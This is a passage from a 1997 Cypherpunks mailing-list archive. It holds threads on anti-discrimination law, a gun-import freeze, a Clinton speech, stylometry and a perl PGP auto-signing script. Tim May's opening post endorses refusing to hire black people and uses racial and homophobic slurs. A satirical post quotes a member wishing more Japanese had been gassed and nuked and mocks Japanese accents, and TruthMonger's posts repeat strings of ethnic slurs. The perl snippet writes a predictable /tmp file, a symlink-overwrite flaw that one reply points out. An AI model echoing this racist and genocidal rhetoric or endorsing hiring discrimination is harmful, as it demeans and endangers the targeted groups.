Number One problem is, cite "prejudice." Or "bigotry." Or "racism." Their
teachers have drilled this idea into their heads for most of their school
years, and the media does its part with public service announcements,
heart-warming after school specials about the wonderfulness of
multiculturalism, and so on.

But I am surprised that more members of this list have not managed to throw
off the baggage of "discrimination is bad" simplemindedness.

To be sure, certain forms of racism, bigotry, and discrimination are both
irrational and counterproductive. The black man who thinks of all whites as
devils is no different from the white man who thinks of all blacks as
illiterate criminals.

But let's not forget what "discrimination" means. It means choosing some
actions or beliefs over others. It used to be a compliment  to say someone
had "discriminating tastes."

(Of course, this sense is still used, and I understand that the sense in
which people say "discrimination is bad" is the sense related to
unreasonable or irrational beliefs about certain races. But the good
meanings of discrimination are tending to get lost in the political
correctness baggage surrounding the term.)

I happen to believe many, even most, aspects of "black culture" in America
today are highly destructive to those who practice this culture. Extremely
high rates of illegitimacy (exceeding 70% overall, and exceeding 80% in
inner cities, compared to less than 25% for whites overall, and less than
20% for suburban whites). An extreme aversion to professional careers (on
average, obviously, not in any particular cases). And so on.

My "discrimination" is to avoid these kinds of people, to not hire them,
and to urge their culture to change, and fast. (Many black leaders, even
Jesse Jackson, are urging the same thing. Even Louis Farrakhan is saying
black culture in America is corrupt.)

Does this mean I have a morbid fear of black people? Nope. Does it mean I
would never hire a black? Nope. (I did in fact help hire a black scientist
when I was at Intel.)

And I also don't think certain words are off limits to white people. If
blacks use the term "nigger" (or "nigga") and refer to black women as
"hoes" (whores, in Ebonics), why are these terms then bowdlerized in
mainstream texts as "the "N" word" (etc.)?

Likewise, if homosexuals call themselves "queers" and "dykes," as in "Queer
Nation," "Dykes on Bikes," and so on, how can they object when others use
these words? (I know the post-Marxist, deconstructionist claptrap about
their reclaiming of patriarchal words, blah blah. It still remains a case
of "If we use it, it's OK, but if you use it, it's racist and homophobic.")

I really don't care what people do with their bodies, so long as they don't
interfere with me in any way. Or force me to subsidize them, or hire quotas
of them, or otherwise require me to change what I would do of my own free
will. If a store doesn't want to serve homosexuals, or doesn't want to hire
men as servers (the Hooters case), this is their basic property right. (And
this was recognized in the freedom of association interpretation of the
Constitution, even after the 14th Amendment (and its "equal protection"
language). It only became a "crime" for a restaurant to disallow certain
groups, or for a church to "discriminate against" Satanists, or for a
health food store to "discriminate against" 300-pound women seeking
employment in the store, etc., after the 1964 Civil Rights Act. More
specifically, the "Title 7" nonsense.

>From a a liberty, freedom, and property rights viewpoint, anyone is free to
do with their property as they wish, to set admissions policies, to invite
those they wish to enter (and to exclude others), and so on. The 14th
Amendment, more than a century ago, established certain voting and other
rights AS RELATED TO GOVERNMENT AND TO THE STATES! Basically, ensuring
freedom from slavery, repeal of Jim Crow laws, and other STATE INTRUSIONS
into fundamental constitutional rights. Again, rights as they related to
the government.

The 14th did not say that government had some right to tell a shopkeeper
that he had to serve all creeds, colors, and genders. It did not "ban
discrimination."

And the 1964 Civil Rights Act corrected a few wrongs that had remained
after  the 14th, mostly related to voting rights and such in the South.
Still, many thoughtful persons believed it just wasn't needed, that the
14th was already sufficicent, were it to be enforced, to halt certain
government-sanctioned cases of "discrimination."

(What might be called "Discrimination," with a capital D, implying state
sanction, and not "discrimination," with a small D.)

But over the decades following the Civil Rights Act, the language of Title
7 was used to "ban discrimination" (little D), so that a private store or
restaurant could not choose whom it wished to serve, for example. More
importantly, a business could not choose whom it wished to hire.

Hence the lawsuits charging "discrimination." Hence the EEOC and formal
quotas. Hence the conflicting laws about employers being _barred_ from
inquiring about race or ethnicity while at the same time being _required_
to meet certain EEOC guidelines and quotas.

(As I have said here before, when I was out college recruiting for Intel in
the late 70s, I was forbidden from noting an applicant's race or ethnicity
on the forms I filled out, but I was _required_ to put a small letter on
the top of the form, one of the letters in "C O I N S"--Caucasion Oriental
Indian Negro Spanish. These letters were so that Intel could obey the law,
Title 7 style, and report that it had indeed interviewed (and later hired)
the appropriate quotas of Negro and Spanish engineers! One part of the law
said it was illegal to hire based on race, another part of the law said it
was mandatory. True Orwellian doublethink.)

And so now we have the situation where a group of men can sue Hooters
demanding to be made into jiggly servers. Never mind that Hooters doesn't
want them. Never mind that such suits ought to be (and woudl have been,
prior to the Civil Rights Act) dismissed on a matter of law: it isn't a
crime for business owners to hire whom they wish. Period.

And the language of Title 7  and its descendants has been used to harass
businesses. As when the City of Los Angeles decided it did not want a strip
club open. It inspected the strip club and found that the "shower dance"
stage was not "wheelchair accessible." (!!!) Never mind that the strip
joint was not about to hire any cripples as strippers.

(Oh, and even though this is the most basic common sense point one can
make, that strip joint had better not _say_ it doesn't want cripples, else
it'd be hit with a multmillion dollar damage suit the next day.)

So, this is what we've come to. The mantra of "discrimination is illegal"
has now impinged on basic rights of free association and the basic liberty
to say what one wishes. Say certain things today and face a lawsuit. Or a
probe by the EEOC and its related agencies.

Blacks can call each other niggas and hoes, but let a honkey use these
words and he may be in real trouble. Homosexuals can call themselves fags,
queers, queens, and dykes, but the rest of us had better use the PC term du
jour. If Joe Whitey makes an "insensitive" or "discriminatory" remark, look
out. He may even lose his teaching job, or his engineering job at Sun, or
be denounced as a racist by Joichi Ito, Protector of Nipponese
Unmongrelized Sensibilities.

Some discrimination is good. In fact, a lot of it is. Think of it as
evolution in action.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexandre Maret <amaret@infomaniak.ch>
Date: Sat, 15 Nov 1997 23:13:55 +0800
To: "cypherpunks@toad.com>
Subject: trusting untrusted platforms
Message-ID: <346DBAD1.C8632971@infomaniak.ch>
MIME-Version: 1.0
Content-Type: text/plain



hello

Here is the problem: how to make sure that an untrusted
computer really run the code you ask him to run.

Practically, we can take the example of the RC5 contest.
If I ask an untrusted computer to search for the key in
a particular sub-keyspace, how can I make sure that this
machine really looked for the key, and that it doesn't
just say "the key is not in this block, give me another
block" just to get higher in the stats...

I've heard about smartcards being helped by ATMs, so
maybe this could be a direction to look into...

Any pointer, info, help, ... very appreciated

  alex

-- 
\\-----------------------------------------------------------\\
// Alexandre Maret -- Linux : The choice of a GNU generation //
\\ amaret@infomaniak.ch -- http://www.infomaniak.ch/~amaret  \\
//-----------------------------------------------------------//





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 16 Nov 1997 08:15:15 +0800
To: cypherpunks@ssz.com
Subject: Re: Clinton freezes imported assault weapons [CNN]
In-Reply-To: <199711152357.RAA09522@einstein.ssz.com>
Message-ID: <v0310281fb093db21e155@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:57 PM -0700 11/15/97, Jim Choate wrote:
>Forwarded message:
>
>>                   CLINTON FREEZES IMPORTS OF ASSAULT WEAPONS
>>
>>      graphic November 15, 1997
>>      Web posted at: 1:19 p.m. EST (1819 GMT)
>>
>>      LAS VEGAS (CNN) -- President Clinton has ordered a four-month freeze
>>      on the import of assault weapons while the administration and
>>      Treasury Department officials develop a plan to permanently ban the
>>      weapons.

It's what I've been saying here! The ban is coming.

>>      The freeze will keep an estimated 1.6 million weapons from coming
>>      into the United States while Treasury officials review a ban passed
>>      in 1994 as part of a larger crime bill. Clinton says overseas
>>      manufacturers are taking advantage of a loophole in the law by
>>      making cosmetic changes that enable the weapons to be imported for
>>      "sporting" purposes.

Translation: We passed some laws, importers found ways to fully comply with
the laws (at their expense). But now we're going to ignore the law, and
ignore their compliance, and take steps to force these importers out of
business.

Amerika is no longer a nation of laws. Even the draconian laws are ignored
for political grandstanding.

>>      The National Rifle Association says Clinton's order "shows more
>>      hypocrisy and deception than ever before."
>>
>>      "The guns Clinton wishes to ban from importation conform in every
>>      way to the law Clinton wrote, signed, pledged would rid the streets
>>      of violence in 1994, and trumpets to the press whenever his scandals
>>      get out of hand," said NRA spokeswoman Tanya Metaksa.

I quit the NRA a few years ago, feeling it was too wimpy and namby pamby
about basic rights.

They tried to bargain with the Administration, they tried to reach a
"compromise." This is what it got them.

There are obvious lessons for the crypto industry here. And for the efforts
by CDT, EPIC, and others to negotiate with politicians.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JNN <jnn@dev.null>
Date: Sun, 16 Nov 1997 07:05:12 +0800
To: cypherpunks@cyberpass.net
Subject: News Extra: Return of the Vulis brings Peace to CypherPunks List!!!
In-Reply-To: <40V8Fe23w165w@bwalk.dm.com>
Message-ID: <346E28D9.2A26@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[JAPANESE NUTLY NEWS: Soyabeanfeit,Japan] CHIEF CYPLEPUNKS SPOKESPELSON
Nonookie Masturbatshi told reportwhores gathered at the Nucrear Sulvivol
Sushi Bar & Grill that CypherPunks everywhere were happy over the
return of Dr. Dimitri Vulis, KOTM, to the CypherPunks Distributed List,
apparently once again in his usual fighting form.

> I've consulted for lots of weird people, from Baha'i to Serbs to Black
> Panthers, but I'd be reluctant to knowingly work for any Japs because Japs are
> onboxious and dishonest and I don't like them. I used to work with a guy who
> did a lot of work for AUM, who I think did a good job, but should have gassed
> many more Japs. I'm further convinced that Japs are shit by their postings to
> this list. It's such a pity the Jap cowards capitulated before Truman had a
> chance to drop a few dozen more nukes on them! We also shoud have used poison
> gas on them, just like they used it on Chinese civilians. We also should have
> executed all of their POWs, just like they tortured to death most of European
> POWs. The Japs got off way too easy for their crimes in WW2. Why wasn't your
> silly little Emperor Hirohito (spit) hanged with the other war criminals? Now
> the Japs are hoarding up all the available plutonium, obviously preparing to
> nuke China and other neighbors (and possibly U.S.) in a likely future war.

  "Everyone familiar with group dynamics recognizes that when a list
member leaves, or is absent for a period of time, that it is up to the
other members of the group to help pick up the slack." Joichi Ito told
reporterwhores, in amazingly good English, as the rest of the Japanese
CypherPunks looked at each other and shrugged.
  "It has been difficult, with Dimitri laying low, to keep up the level
of racist ranting that is expected by list subscribers, but fortunately,
other list members have stepped into the void and performed remarkably
well in his absence. Including myself..." Joichi added, stretching his
eyelids out to form wide, round circles, as the other CypherPunks hooted
loudly and banged Saki bottles on the floor, shouting "Foleign Devirs!"

  As Jun Yoshitake farted 'Misty' for the gathered band of protruding
nails, the only black member of the cypherpunks-e mailing list, Nobuki
Nakatuji, from Athens, Georgia, opened the gift he had brought as a
peace offering from their American counterparts.
  There were a lot of angeled and angered eyebrows raised when the
gift turned out to be a microwave oven from a company in New Mexico,
but the frowns quickly turned to smiles when Joichi Ito presented
Nobuki with a gift to take back to the American CypherPunks--a small
model of the U.S.S. Arizona, carved out of volcanic rock and resting
at the bottom of a small fish tank.
  "OUBAKAYAROU!!" shouted Jun Yoshitake, leaping up and handing an
invoice for $50.00 from Mitsubishi to Tim C. May, for the 'gift'.

  Once again, there were many hoots and the banging of Saki bottles
by the gathered Japanese crypto-munitions experts.
  After the ceremonial gifts had been exchanged, the group shared
dinner and many more drinks, expressing regret that their good
fortune in Dimitri's return bringing a wider range of racism back
to the list would be at the expense of others, such as the murdering
Armenian bastard, Ray Arachelian.
  There was also a discussion about the problems surrounding the
current implementation of the Misty algorithm. Some felt that Peter
Trei had purposely given them the wrong value for 5 + 7, but others
pointed out that he may have merely been too hasty in trusting the
answer sent by TruthMonger in reply to Trei's question to the list.

  TluthMongler, keeping his back to the wall in case the others
tried to kill and eat him, announced that Dimitri had been added to
the Nuclear Alley "don't hire list."
  Everyone at the meeting soon began nodding out from overdoing the
festivities, mumbling things like, "Miclowave Tokoyo," or stumbling
off to the toilet saying, "I go make smarr Timmy Mayonnaises..chop,
chop--hee, hee."

----------------------------------------------------------------------
  This message here that you read cleated undel the auspices of the 
  Japanese Chaptel of the Erectlonic Folgely Foundation. If you lead,
  you send fify dorrals, OK? (Onry lound-eyes have to pay...and also
  Chinamen...chop, chop.) You not pay, you go nuke youlserf, OK?
----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 16 Nov 1997 09:35:45 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton on Forces of Destruction and Illicit Arms
In-Reply-To: <1.5.4.32.19971116011608.00b6e090@pop.pipeline.com>
Message-ID: <v03102821b093ee425fc3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:16 PM -0700 11/15/97, John Young wrote:
>Excerpt from the President's remarks to the Democratic National
>Committee in Sacramento this afternoon:
>
>...
>             But the most likely problems -- there are a couple
>little babies in this audience, or there were today, and some
>children -- the most likely problems these children will face

"Save the children."

"If rolling over the Second Amendment saves the life of just one child...if
rolling over the First saves the life of just one child..."


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 16 Nov 1997 07:57:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Clinton freezes imported assault weapons [CNN]
Message-ID: <199711152357.RAA09522@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                   CLINTON FREEZES IMPORTS OF ASSAULT WEAPONS
>                                        
>      graphic November 15, 1997
>      Web posted at: 1:19 p.m. EST (1819 GMT)
>      
>      LAS VEGAS (CNN) -- President Clinton has ordered a four-month freeze
>      on the import of assault weapons while the administration and
>      Treasury Department officials develop a plan to permanently ban the
>      weapons.
>      
>      Clinton announced his executive order, issued Friday, in his weekly
>      radio address.
>      
>      "I'm not going to let people overseas turn our streets into battle
>      zones, where gangs are armed like they were guerrilla warriors
>      halfway around the world, if I could stop it," he told supporters at
>      a Democratic fund-raising dinner in Las Vegas on Friday.
>      
>      The freeze will keep an estimated 1.6 million weapons from coming
>      into the United States while Treasury officials review a ban passed
>      in 1994 as part of a larger crime bill. Clinton says overseas
>      manufacturers are taking advantage of a loophole in the law by
>      making cosmetic changes that enable the weapons to be imported for
>      "sporting" purposes.
>      
>      Clinton seems to be angered by a recent surge in the number of
>      permit applications for the modified weapons.
>      
>      Officials say firearms importers have obtained permits for the
>      shipment of nearly 600,000 altered guns, and that an additional 1
>      million permit applications are pending. Approximately 20,000 of the
>      weapons have already entered the country, officials said.
>      
>      No more will be imported until the Treasury Department's review is
>      completed. The Bureau of Alcohol, Tobacco and Firearms stopped
>      taking applications last month, the Washington Post reported on
>      Friday.
>      
>      The National Rifle Association says Clinton's order "shows more
>      hypocrisy and deception than ever before."
>      
>      "The guns Clinton wishes to ban from importation conform in every
>      way to the law Clinton wrote, signed, pledged would rid the streets
>      of violence in 1994, and trumpets to the press whenever his scandals
>      get out of hand," said NRA spokeswoman Tanya Metaksa.
>      
>      Correspondent John King, The Associated Press and Reuters
>      contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 16 Nov 1997 08:34:49 +0800
To: cypherpunks@toad.com
Subject: Kent Cripin's cynical liberalism
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <346E3C9E.7756@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> On Sat, Nov 15, 1997 at 03:30:11AM -0600, TruthMonger wrote:
> > I'm beginning to doubt if anyone participating in this thread knows
> > what the fuck racism even is...or what humor is, either, for that
> > matter.
> >   Racism is a bunch of idiots who think that pissing on someone who
> > _may_ be of a differnet ethinic origin, in a pissing contest, is racism.
 
> No.  Using ethnic characteristics as a criteria for attaching
> emotional labels is racism.  

  Double-No! It is a damn fine way of pissing in someone's boot when
that is your purpose, and it is really nobody's business but the
pisser and the pissee (not even those who wear the same brand of
boots).
  Why didn't Eddie Murphy say, "I'm your worst nightmare...a Black-Afro
American with a gun!"? Could it be that the character he was playing
was the type of person who recognized the difference between a tea
party and a bar fight?
  (Kent, are you the one sending anonyous emails to whitehouse.gov
   saying, "Throw rocks at DC!"?)

> Of course, I grant you that on a mailing list it isn't possible to
> know whether the human Tim May is "really" a racist, so it would have
> been more accurate to say that the persona "Tim" on this mailing list
> is clearly racist.  However, the usage is common.  And also granted
> that the overwhelming thrust of Tim's writings are negative, so his
> racist comments are almost lost in the noise.

  Thanks for clearing that up. It would be a shame to 'inaccurately'
flame someone on this list. It takes longer to fill their boots up
if you are not quite on the mark.

> [...]
> 
> >   Well, when a spic, nigger, wop, kike, raghead, slant or wagon burner
> > is broken down on the side of the road on a dark and stormy night, I'm
> > the fucking one out there getting cold and wet helping them out, while
> > all of the politically correct types lock their doors while driving
> > by at 60 mph.
> 
> And Tim would be right beside you, helping out.  Right...

  Sure, if they were headed 'out of town' instead of 'toward' town...

  Really, Kent, you surely can't have lived such a cloistered life that
you judge everything in life by the words and images cast upon the 
Silver Screen of alleged reality.
  In my younger days I used to get picked up by dirt-farmers while
hitchiking, and be subjected to a predictable lecture about long
hair, hippies all ought to get a job, kids today...blah, blah.
Most of the time, before dropping me off, the farmer would dig
a few bucks out of his pocket and offer it to me, saying, "Have
you eaten today? Here, take this."

> [...]
> >   I've smoked crack with blacks, niggers and black-afro americans. When
> > I talk loud enough for them to hear me, I try to be courteous enough to
> > fit my choice of words to the environment and/or their preference.
 
> courtesy = censorship

Courtesy = free choice of words = honest self-censorship
Politcially Correct Politeness = Mandatory/voluntary self-censorship

NEWS FLASH!!!
  Once you grow up and move away from home, then many things that were
formerly mandatory (or else!) become voluntary. People who were easy
to toilet train often go through life thinking that they are 'good'
people just because they still haven't figured out that they have
a 'choice' of how to speak, act, behave.  
  I'll take a good old redneck who has learned not to 'hate niggers'
as much as he used to, over an anal retentive batik artist who 
still hasn't figured out that he clenches his teeth when he speaks
of the 'Black-Afro American' who robbed and pistol-whipped him.

  When Adam Back agrees with me, he's British. When he disagrees with
me, he's a fucking Limey. (And it doesn't matter a shit whether he
is white, black, yellow or green.)

  The best way to eliminate racism is to hire a racist, go to dinner
with a racist, talk with a racist--not to sit drinking cafe latte 
with your friends while denouncing racism.
  I find it hard to believe that the slants and the round-eyes on
this list think that apparent differences in the backgrounds and
beliefs of list members deserves more discussion than the loss of
our common freedoms, just because some Anonymous shit-disturber
(who may also be Nonookie Masturbatshi, for all we know) wants
to impress Bob Hettinga in the hopes of being able to put his
dick in A Body Orfice To Be Named Later at some point in the
future (or already has, at some point in the past).

  In the course of pursuing things which are important in our life
(such as producing the Nutly News), we will be much more productive
if we refrain from joining in mouth-jerk reactions to the worms
that get dangled in front of us by the anonymous entities posting
from the boat above us.

  And the way this relates to crypto is...NONE OF YOUR FUCKING
BUSINESS! (<--- Topically Incorrect)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Server <toto@sk.sympatico.ca>
Date: Sun, 16 Nov 1997 08:56:25 +0800
To: Jason <rennie@one.net.au>
Subject: Re: Mail interception
In-Reply-To: <346E2E39.A29AFEE2@one.net.au>
Message-ID: <346E4255.702B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



For information on the interception of plaintext email,
send a reply to this message, with an empty message body
and with a subject line -- "RTFM-709".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Nov 1997 09:17:52 +0800
To: cypherpunks@toad.com
Subject: Clinton on Forces of Destruction and Illicit Arms
Message-ID: <1.5.4.32.19971116011608.00b6e090@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt from the President's remarks to the Democratic National
Committee in Sacramento this afternoon:

...
             But the most likely problems -- there are a couple 
little babies in this audience, or there were today, and some 
children -- the most likely problems these children will face 
when they come of age will be problems that cross national 
borders -- terrorism, organized crime and drug running, the 
spread of weapons of mass destruction, chemical and biological 
weapons and maybe small-scale nuclear weapons.
             
             This much nuclear cake put in a bomb would do ten 
times as much damage as the Oklahoma City bomb did.  
             
             The spread of environmental problems or diseases 
across national lines -- we are going to have to, in other words, 
find ways to cooperate, to keep the organized forces of 
destruction that are taking advantage of the Internet, the 
technological revolution, the freedom of travel and the freedom 
of movement, access to computers and moving money around and all 
that -- there will always be organized forces of destruction.  
             
             That is fundamentally what is at stake in the stand 
off we're having in Iraq today.  I don't want you to look at this 
backward through the prism of the Gulf War and think it's a 
replay.  I want you to look at it forward and think about it in 
terms of the innocent Japanese people that died in the subway 
when the saran gas was released; and how important it is for 
every responsible government in the world to do everything that 
can possibly be done not to let big stores of chemical or 
biological weapons fall into the wrong hands, not to let 
irresponsible people develop the capacity to put them in warheads 
on missiles or put them in briefcases that could be exploded in 
small rooms.  
             
             And I say this not to frighten you.  The world will 
always have challenges.  I think the chances are quite good that 
we can organize ourselves for this challenge and deal with it 
very effectively.  I personally believe that the next 50 years 
will be far more peaceful and less dangerous for our children and 
our grandchildren than the last 50 years were.  I also believe 
they will be the most prosperous and interesting time in all of 
human history -- but only if we do the right things.

...

From: http://library.whitehouse.gov/ThisWeek-plain.cgi

----------

For more on the US ban of assault weapons and the US and Mexico's 
convention to fight illicit arms trafficking, signed yesterday:

   http://jya.com/piat111597.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 16 Nov 1997 11:03:29 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Clinton on Forces of Destruction and Illicit Arms
In-Reply-To: <1.5.4.32.19971116011608.00b6e090@pop.pipeline.com>
Message-ID: <346E5F94.4CA2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> Excerpt from the President's remarks to the Democratic National
> Committee in Sacramento this afternoon:
> ...
>              But the most likely problems -- there are a couple
> little babies in this audience, or there were today, and some
> children -- the most likely problems these children will face
> when they come of age will be problems that cross national
> borders -- terrorism, organized crime and drug running, the
> spread of weapons of mass destruction, chemical and biological
> weapons and maybe small-scale nuclear weapons.

  If a New World Order saves the life of just one child...

>              The spread of environmental problems or diseases
> across national lines -- we are going to have to, in other words,
> find ways to cooperate, to keep the organized forces of
> destruction that are taking advantage of the Internet, the
> technological revolution, the freedom of travel and the freedom
> of movement, access to computers and moving money around and all
> that -- there will always be organized forces of destruction.

  Anyone that's ever looked at a voting ballot can tell you he
speaks the truth about the forces of organized destruction being
with us forever.

  I've always said that Freedom of Movement was one of the main
reasons for the rapid decline of society. It's all that moving
around that people do between their work desks and their beds
at home that is the problem. Increased use of prison labor has
certainly proven that a War on Movement is a viable option.

  If we allow people to move their money around wherever they
want, as if it is really theirs, then the next thing you know,
they might start doing the things they want with the money
they earn, instead of what they are required to do with it.
  If we allow people to access computers, the organized forces
of destruction will use them to get an education, earn a living,
entertain themselves, and conspire to move around.

>              That is fundamentally what is at stake in the stand
> off we're having in Iraq today. 

(Summary, so far:)
	CHILDREN AND BABIES 
cross national borders	{DANGEROUS MOVEMENT!!!}
	TERRORISM / ORGANIZED CRIME / DRUG RUNNING 
the spread of		{DANGEROUS MOVEMENT!!!}
	WEAPONS OF MASS DESTRUCTION / CHEMICAL AND BIOLOGICAL WEAPONS
 	SMALL-SCALE NUCLEAR WEAPONS
across national lines	{DANGEROUS MOVEMENT!!!}
	ENVIRONMENTAL PROBLEMS OR DISEASES
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF 
	the Internet
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF 
	the technological REVOLUTION
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF 
	freedom of travel	{DANGEROUS MOVEMENT!!!}
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF 
	freedom of movement	{DANGEROUS MOVEMENT!!!}
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF 
	access to computers	{DANGEROUS MOVEMENT!!!}
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF
	moving money around	{DANGEROUS MOVEMENT!!!}
ORGANIZED FORCES OF DESTRUCTION TAKING ADVANTAGE OF
	and all that	{EVERYTHING IMAGINABLE!!!}
		ORGANIZED FORCES OF DESTRUCTION!!! 
			IRAQ!!!

>              And I say this not to frighten you. 

  Stand-up comedy at its finest.

> I think the chances are quite good that
> we can organize ourselves for this challenge and deal with it
> very effectively.  

  "We" being the elite "across national borders" and "across
national lines"--the elite of the WORLD.
  "Organize ourselves" meaning: creating a NEW ORDER of organized
authority, laws and government.
  
> I personally believe that the next 50 years
> will be far more peaceful and less dangerous for our children and
> our grandchildren than the last 50 years were.

  I *knew* he was going to mention children a couple more times
after the scare tactics. Am I goddamn *psychic*, or what?

>  I also believe
> they will be the most prosperous and interesting time in all of
> human history -- but only if we do the right things.

  Translation~~"Only" those who "do the right things" are going to
find the NEW WORLD ORDER future "prosperous" and "interesting."

	BILLION DOLLAR CHALLENGE!!!
  If any of you can read this speech by El Presidante and think of
those who spoke out against the National Socialists, the brownshirts,
the Nazis--at the same time--and not get a shiver down your spine...
  I will give you a check for $1,000,000,000 (postdated Jan 1, 2000).

OrganizedTruthMonster





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 16 Nov 1997 04:16:25 +0800
To: cypherpunks@ssz.com
Subject: Re: auto signing messages Re: perl from Amad3us
Message-ID: <199711152003.VAA10615@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Antonomasia says:
> excerpt from Amad3us' script:
> >  #!/usr/local/bin/perl
> >  $userID="cypherpunks\@algebra.com";
> >  $pgp="/usr/local/bin/pgp";
> >  $tmp="/tmp/.sig$$";
> >  undef($/);
> >  $post = <STDIN>;
> >  ($headers,@body) = split(/\n\n/,$post);$body = join("\n\n",@body);
> >  open(PIPE,"|$pgp -satf +batchmode +verbose=0 -u $userID > $tmp");
> 
> Real paranoiacs don't put temporary files in world-writeable directories.
> 
> If a hostile user symlinks your majordomo binary (or something)
> to /tmp/.sig999 you're going to overwrite it with garbage.

Sure.  But have you looked at pgp2 source code? (smirks).

(Hint, temporary files all over the place.)

Amad3us

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i

iQCVAwUBNG39iPKMuKFNFivhAQEYuwP/Q5nWBocRDlwVWCppBnI6g+kryko8YGJO
PnEQU+ZeTXFtnBlhpylzaz4XX2hx5cfVUtmU+EZ6GsKdu/5ALV7JWZfpRQ7LLY0n
kY0xiCDRn5binhXXuMXAJIu6y47KyXgrFQKQWZm7sgAF0p6PCbajMwPUiJEWKpWe
TGlzJNCp7OE=
=w4G3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Man In The Middle <mitm@dev.null>
Date: Sun, 16 Nov 1997 11:16:40 +0800
To: joseph gonzales <polo@stic.net>
Subject: Re: RTFM-709 / Email Inteception
In-Reply-To: <19971116012606195.AAA200@polo>
Message-ID: <346E6303.4A0A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Is there anything else you would like to know about email interception?

~~~~~~~~~~~~~~~~~~~~~
joseph gonzales wrote:
> 
> ----------
> > From: Information Server <toto@sk.sympatico.ca>
> > To: Jason <rennie@one.net.au>
> > Cc: cypherpunks@toad.com
> > Subject: Re: Mail interception
> > Date: Saturday, November 15, 1997 6:46 PM
> >
> > For information on the interception of plaintext email,
> > send a reply to this message, with an empty message body
> > and with a subject line -- "RTFM-709".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Man In The Middle <mitm@dev.null>
Date: Sun, 16 Nov 1997 11:16:48 +0800
To: mccaskill@mindspring.com
Subject: RTFM-709 / Email Interception
In-Reply-To: <199711160134.UAA21805@borg.mindspring.com>
Message-ID: <346E63A9.2258@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Is there anything else you would like to know about email interception?

~~~~~~~~~~~~~~~~~~~~
Tom McCaskill wrote:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Sun, 16 Nov 1997 11:22:37 +0800
Subject: "No one complains" / Stylometry
In-Reply-To: <199711150104.TAA01930@harrier.sasknet.sk.ca>
Message-ID: <Pine.OSF.3.96.971114204711.24140A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> No one complains.  Apparently everyone with an ounce of moral sense has left
> the list long ago. 

Silence doesn't necessarily denote agreement, especially from someone (for
example, me :) who avoids political posts altogether... 

============================================================================

That stylometry thing (figuring out who wrote a message from its content) 
seems to be a big problem for people using remailers. Initially, I thought you
could avoid it by using some software to tinker with your words. Although that
can confuse some attacks, there are still author-dependent things you can't
hide so easily. For example, someone with a sufficiently big sample of your
writing (i.e., all a nym's public traffic) could measure, say, the number words
per sentence, or how likely you are to use certain punctuation/function words,
and use that to match it to something you wrote under your own name. And the
measurement part isn't rocket science, either -- I slapped together a simple
